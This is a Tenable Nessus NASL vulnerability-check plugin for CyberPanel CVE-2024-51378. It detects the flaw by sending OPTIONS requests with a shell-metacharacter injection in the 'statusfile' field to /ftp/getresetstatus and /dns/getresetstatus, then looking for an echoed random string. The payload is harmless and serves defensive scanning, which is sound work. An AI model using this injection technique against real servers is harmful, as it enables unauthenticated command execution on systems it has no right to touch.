CyberPanel < 2.3.8 RCE Direct Check (CVE-2024-51378)

#%NASL_MIN_LEVEL 80900
##
# (C) Tenable, Inc.
##

include('compat.inc');

if (description)
{
  script_id(242972);
  script_version("1.1");
  script_set_attribute(attribute:"plugin_modification_date", value:"2025/07/29");

  script_cve_id("CVE-2024-51378");
  script_xref(name:"CISA-KNOWN-EXPLOITED", value:"2024/12/25");

  script_name(english:"CyberPanel < 2.3.8 RCE Direct Check (CVE-2024-51378)");

  script_set_attribute(attribute:"synopsis", value:
"CyberPanel is affected by a remote code execution vulnerability.");
  script_set_attribute(attribute:"description", value:
"The CyberPanel installed on the remote host is affected by a remote code execution vulnerability. getresetstatus in
dns/views.py and ftp/views.py in CyberPanel (aka Cyber Panel) before 1c0c6cb allows remote attackers to bypass
authentication and execute arbitrary commands via /dns/getresetstatus or /ftp/getresetstatus by bypassing secMiddleware
(which is only for a POST request) and using shell metacharacters in the statusfile property, as exploited in the wild 
in October 2024 by PSAUX. Versions through 2.3.6 and (unpatched) 2.3.7 are affected.

Note that Nessus has not tested for this issue and has relied only on the device's self-reported model number.");
  script_set_attribute(attribute:"see_also", value:"https://cyberpanel.net/KnowledgeBase/home/change-logs/");
  # https://cyberpanel.net/blog/detials-and-fix-of-recent-security-issue-and-patch-of-cyberpanel
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?b8de38a7");
  script_set_attribute(attribute:"see_also", value:"https://github.com/refr4g/CVE-2024-51378");
  script_set_attribute(attribute:"solution", value:
"Update CyberPanel to version 2.3.8 or apply patch");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2024-51378");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2024/10/29");
  script_set_attribute(attribute:"patch_publication_date", value:"2024/10/29");
  script_set_attribute(attribute:"plugin_publication_date", value:"2025/07/29");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:cyberpanel:cyberpanel");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_family(english:"Misc.");

  script_copyright(english:"This script is Copyright (C) 2025 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_require_ports("Services/www");
  script_dependencies("http_version.nasl");
  exit(0);
}

include('http.inc');

var port = get_http_port(default:8090);

var res = http_send_recv3(
  method      : 'GET',
  item        : '/',
  port        : port,
  follow_redirect: 1
);

if ('CyberPanel' >!< res[2])
{
  audit(AUDIT_HOST_NOT, 'CyberPanel');
}
dbg::detailed_log(lvl:1, src:SCRIPT_NAME,
  msg:'CSRF Request/Response',
  msg_details:{
    'Last request':{'lvl':2, 'value':http_last_sent_request()},
    'Response':{'lvl':2, 'value':res}
  });
var csrftoken_match = pregmatch(string:res[1], pattern:"csrftoken=([1-9A-Za-z]+)");
if (empty_or_null(csrftoken_match))
{
  audit(AUDIT_HOST_NOT, 'an affected CyberPanel');
}

var csrftoken = csrftoken_match[1];
dbg::detailed_log(lvl:1, msg:'csrftoken: ' + csrftoken);

var headers = make_array(
  'Referer', get_host_ip(),
  'Content-Type', 'application/json',
  'X-CSRFToken', csrftoken
);

var endpoints = ['/ftp/getresetstatus', '/dns/getresetstatus'];

var randstr = 'nessus_' + rand_str(length:15, charset:"abcdefghijklmnopqrstuvwxyz");

var payload = '{"statusfile": "; echo ' + randstr + '; #"}';

var vuln = false;
foreach var endpoint (endpoints)
{
  res = http_send_recv3(
    method      : 'OPTIONS',
    item        : endpoint,
    port        : port,
    follow_redirect: 1,
    add_headers : headers,
    data: payload
  );
  dbg::detailed_log(lvl:1, src:SCRIPT_NAME,
    msg:'Exploit Request/Response',
    msg_details:{
      'Last request':{'lvl':2, 'value':http_last_sent_request()},
      'Response':{'lvl':2, 'value':res}
  });

  if (randstr >< res[2])
  {
    vuln = true;
    break;
  }
}


if (!vuln)
{
  audit(AUDIT_HOST_NOT, 'a vulnerable CyberPanel');
}

var report = 'Nessus was able to exploit this vulnerability by sending the following request:\n\n';
report += obj_rep(http_last_sent_request());

security_report_v4(port:port, severity:SECURITY_HOLE, extra:report);